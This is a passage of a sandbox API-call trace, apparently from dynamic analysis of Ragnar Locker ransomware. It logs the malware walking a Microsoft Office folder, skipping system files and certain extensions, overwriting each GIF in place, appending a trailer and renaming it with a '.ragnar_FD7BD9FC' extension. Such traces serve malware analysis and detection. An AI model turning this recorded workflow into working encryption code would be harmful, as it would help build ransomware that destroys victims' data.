lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.435] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.435] GetProcessHeap () returned 0x580000 [0099.435] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.435] CloseHandle (hObject=0x10c) returned 1 [0099.435] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF" [0099.435] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF.ragnar_FD7BD9FC" [0099.435] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.437] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83dcdc00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83dcdc00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15020_.GIF", cAlternateFileName="")) returned 1 [0099.437] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.437] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15020_.GIF" | out: lpString1="BD15020_.GIF") returned="BD15020_.GIF" [0099.437] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF") returned=".GIF" [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="autorun.inf") returned 1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="boot.ini") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="bootfont.bin") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="bootsect.bak") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="bootmgr") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="bootmgr.efi") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="desktop.ini") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="iconcache.db") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="ntldr") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="ntuser.dat") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="ntuser.ini") returned -1 [0099.437] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="thumbs.db") returned -1 [0099.437] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.437] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.437] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.437] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.437] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.437] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.437] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif")) returned 0x20 [0099.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.438] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=99) returned 1 [0099.439] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.439] GetProcessHeap () returned 0x580000 [0099.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.439] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.440] VirtualAlloc (lpAddress=0x0, dwSize=0x63, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.440] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.440] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.440] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x63, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x63, lpOverlapped=0x0) returned 1 [0099.440] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.440] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x63, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.440] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x63, lpOverlapped=0x0) returned 1 [0099.440] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x63, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.440] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.440] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.440] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.441] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.441] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.441] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.441] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.441] GetProcessHeap () returned 0x580000 [0099.441] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.441] CloseHandle (hObject=0x10c) returned 1 [0099.441] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF" [0099.441] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF.ragnar_FD7BD9FC" [0099.441] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.443] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82abaf00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82abaf00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15021_.GIF", cAlternateFileName="")) returned 1 [0099.443] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.443] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15021_.GIF" | out: lpString1="BD15021_.GIF") returned="BD15021_.GIF" [0099.443] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF") returned=".GIF" [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="autorun.inf") returned 1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="boot.ini") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="bootfont.bin") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="bootsect.bak") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="bootmgr") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="bootmgr.efi") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="desktop.ini") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="iconcache.db") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="ntldr") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="ntuser.dat") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="ntuser.ini") returned -1 [0099.443] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="thumbs.db") returned -1 [0099.443] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.443] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.443] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.443] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.443] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.443] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.443] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif")) returned 0x20 [0099.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.444] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=74) returned 1 [0099.444] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.444] GetProcessHeap () returned 0x580000 [0099.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.444] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.445] VirtualAlloc (lpAddress=0x0, dwSize=0x4a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.445] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.445] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.445] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4a, lpOverlapped=0x0) returned 1 [0099.445] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.445] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4a, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.446] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4a, lpOverlapped=0x0) returned 1 [0099.446] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.446] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.446] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.446] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.446] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.446] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.446] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.446] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.446] GetProcessHeap () returned 0x580000 [0099.446] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.446] CloseHandle (hObject=0x10c) returned 1 [0099.446] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF" [0099.446] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF.ragnar_FD7BD9FC" [0099.446] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.448] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817a8200, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x817a8200, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15022_.GIF", cAlternateFileName="")) returned 1 [0099.448] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.448] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15022_.GIF" | out: lpString1="BD15022_.GIF") returned="BD15022_.GIF" [0099.448] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF") returned=".GIF" [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="autorun.inf") returned 1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="boot.ini") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="bootfont.bin") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="bootsect.bak") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="bootmgr") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="bootmgr.efi") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="desktop.ini") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="iconcache.db") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="ntldr") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="ntuser.dat") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="ntuser.ini") returned -1 [0099.448] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="thumbs.db") returned -1 [0099.448] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.448] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.448] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.448] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.448] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.448] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.448] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif")) returned 0x20 [0099.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.449] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=97) returned 1 [0099.449] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.450] GetProcessHeap () returned 0x580000 [0099.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.450] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.450] VirtualAlloc (lpAddress=0x0, dwSize=0x61, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.450] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.451] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.451] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x61, lpOverlapped=0x0) returned 1 [0099.451] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.451] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x61, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.451] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x61, lpOverlapped=0x0) returned 1 [0099.451] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x61, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.451] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.451] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.451] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.451] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.451] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.451] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.451] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.451] GetProcessHeap () returned 0x580000 [0099.451] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.452] CloseHandle (hObject=0x10c) returned 1 [0099.452] lstrcpyW (in: lpString1=0x1ea008, 